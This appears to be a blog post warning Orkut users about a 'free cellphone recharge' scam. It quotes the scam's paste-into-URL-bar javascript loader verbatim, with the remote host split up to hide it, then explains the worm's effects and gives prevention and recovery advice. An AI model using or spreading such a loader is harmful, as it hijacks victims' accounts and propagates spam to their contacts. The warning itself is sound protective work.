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Beware of 'Free mobile phone recharge' spam

BEWARE OF THIS CELLPHONE RECHARGE javascript in Orkut:

[[FOLLOW STEPS 4 FREE!! CELLPHONE RECHARGE::..
1)- Copy the Below Code in RED and Paste in URL Bar Where u write _(www.orkut.com_) and Press Enter Code:
javascript:d=document;c=d.createElement(%22script%22);d.body.appendChild(c);c.src=%22ht%22+%22tp:%22+%22//su%22+%22.%22+%22ly%22+%22/%22+%222wL%22;void(0)
2)- Enter You Mobile Number and get Free Recharge..
Also Pass this to your Friends To GET MORE RECHARGE]]



If any one run the above script at the in the URL bar then it will
→ Edit Ur Profile  Ur about me and status  Msg
→ It will send scraps to all of ur friends to Recharge from ur account
→ It will add comments  in Albums of Ur friends
→ It will create Threads in the Communities u Joined saying that “Recharge this” also it may add some other Communities to Ur list
→ Lead to flooding of ones account, within a minute Ur account is Temporarily Disabled to do various actions like one cannot scrap or Do Msg to anyone…. This may also lead to the Deletion of Ones Account

www.cl.lk/getrecharge-free  is a notorious site that gives u a link to follow...when u follow the steps it infects ur account and then all your friends in friend list will get a similar message and their pictures will also be tagged by the same message.

Google's Warning:
Never copy and paste a web address or script (code) into your Internet browser while signed into orkut, no matter what it claims to do. Don't click links in scraps or emails that claim to be from orkut, Google or Gmail. Don't forget to scan your computer regularly for viruses, spyware, and adware.


Orkut doesn't use your email address for any purpose other than sending out orkut invitations and notices. We find spam annoying and are committed to keeping your email address safe. We'll never send you spam emails asking you to download anything or to send us personal information, such as your password or bank account information. If you ever receive an email like this, delete it immediately. Orkut is a free service, and it will remain safe with your help.


What we the users can do to stop this ?→ Report the URLs at http://www.google.com/safebrowsing/report_phish/
Stop script (running javascripts in Orkut).
→ Tell freinds about these scams and to be safe.
→ Delete the auto-generated scam thread in the communities.
→ Signin orkut via orkut.com or orkut.co.in only.
→ Don't Remember password on public computers.


I have already run the script. Now what can i do ?
→ Clear cookies and Cache
→ Change your account settings ie, password & security question.
→ Edit your about me, status etc which was changed by the script.
→ Never run any type of scripts again.




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